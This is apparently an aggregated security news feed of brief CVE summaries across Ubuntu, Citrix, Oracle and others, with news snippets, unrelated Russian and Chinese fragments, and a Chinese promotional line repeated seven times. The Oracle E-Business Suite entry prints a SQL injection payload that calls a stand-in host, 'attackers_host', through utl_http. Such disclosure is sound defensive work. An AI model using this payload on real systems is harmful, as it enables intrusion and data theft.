Aggregator

A vulnerability, which was classified as critical, was found in Ubuntu Linux 12.04/14.04/16.04. Affected is an unknown function of the file crontab of the component ntp Package. The manipulation leads to improper access controls. This vulnerability is traded as CVE-2016-0727. An attack has to be approached locally. Furthermore, there is an exploit available. It is recommended to apply a patch to fix this issue.

Технологии позволяют блокировать опасные вложения и ссылки.

A vulnerability, which was classified as problematic, has been found in Citrix Netscaler up to 10.5. Affected by this issue is some unknown functionality of the file params/xen_hotfix/0 of the component Nitro API. The manipulation leads to cross-site request forgery. This vulnerability is handled as CVE-2015-2838. The attack may be launched remotely. Furthermore, there is an exploit available. It is recommended to upgrade the affected component.

A vulnerability was found in Asp Indir Tekman Portal 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file uye_profil.asp. The manipulation of the argument uye_id leads to sql injection. This vulnerability is handled as CVE-2006-4916. The attack may be launched remotely. Furthermore, there is an exploit available.

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

股东们，逼自己最后冲刺一把，瓜分更多年度现金分红

A vulnerability was found in QNX RTOS 4.25/6.1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /bin/su. The manipulation with the input SIGSERV leads to information disclosure (Core Dump). This vulnerability is known as CVE-2002-2039. An attack has to be approached locally. Furthermore, there is an exploit available.

A publicly exposed database has left the sensitive information of hundreds of thousands of individuals vulnerable to potential misuse. Not protected by passwords or encryption, the database contained 644,869 PDF files, totaling 713.1 GB, exposing a treasure trove of personal information. The data, mostly labeled as “background checks,” included a wide range of personally identifiable […]

The post 600,000+ Sensitive Records Exposed From Background Checks Service Provider appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

通过 Cloudflare 和 jsDelivr 免费加速博客 GitHub 静态资源(GitHub图床)，自动实现 CDN 资源的海内外分流，加速博客访问速度。一、前言上一篇文章讲述了如何使用...

A vulnerability was found in Checkmk up to 2.1.0p49/2.2.0p36/2.3.0p21. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Web Log File Handler. The manipulation leads to sensitive information in log files. This vulnerability is handled as CVE-2024-47094. The attack may be launched remotely. There is no exploit available. It is recommended to apply a patch to fix this issue.

Почему автопилоты не готовы к реальным дорогам?

The NHS Trust is investigating the incident with the help of the National Crime Agency

A vulnerability has been found in GNU C Library up to 2.17 and classified as very critical. This vulnerability affects the function setjmp/longjmp. The manipulation of the argument PTR_MANGLE/PTR_DEMANGLE leads to improper input validation. This vulnerability was named CVE-2013-4788. The attack can be initiated remotely. Furthermore, there is an exploit available. It is recommended to apply a patch to fix this issue.

Uniswap Labs has launched a $15.5 million bug bounty program to ensure the security of its latest protocol, Uniswap v4. This substantial bounty is the largest ever offered in the history of the DeFi sector. Uniswap v4 represents the latest evolution of the Uniswap Protocol, marking a significant transformation into a comprehensive developer platform. This […]

The post Uniswap Labs to Offer $15.5 Million Bounty for Bug Hunters appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

A vulnerability was found in Oracle E-Business Suite up to 12.2.6. It has been rated as critical. Affected by this issue is some unknown functionality of the file iesfootprint.jsp of the component Scripting. The manipulation with the input 11' AND utl_http.request('http://attackers_host/lalal')='1' GROUP BY panel_name)) -- as part of dscriptId leads to improper access controls. This vulnerability is handled as CVE-2017-3549. The attack may be launched remotely. Furthermore, there is an exploit available. It is recommended to upgrade the affected component.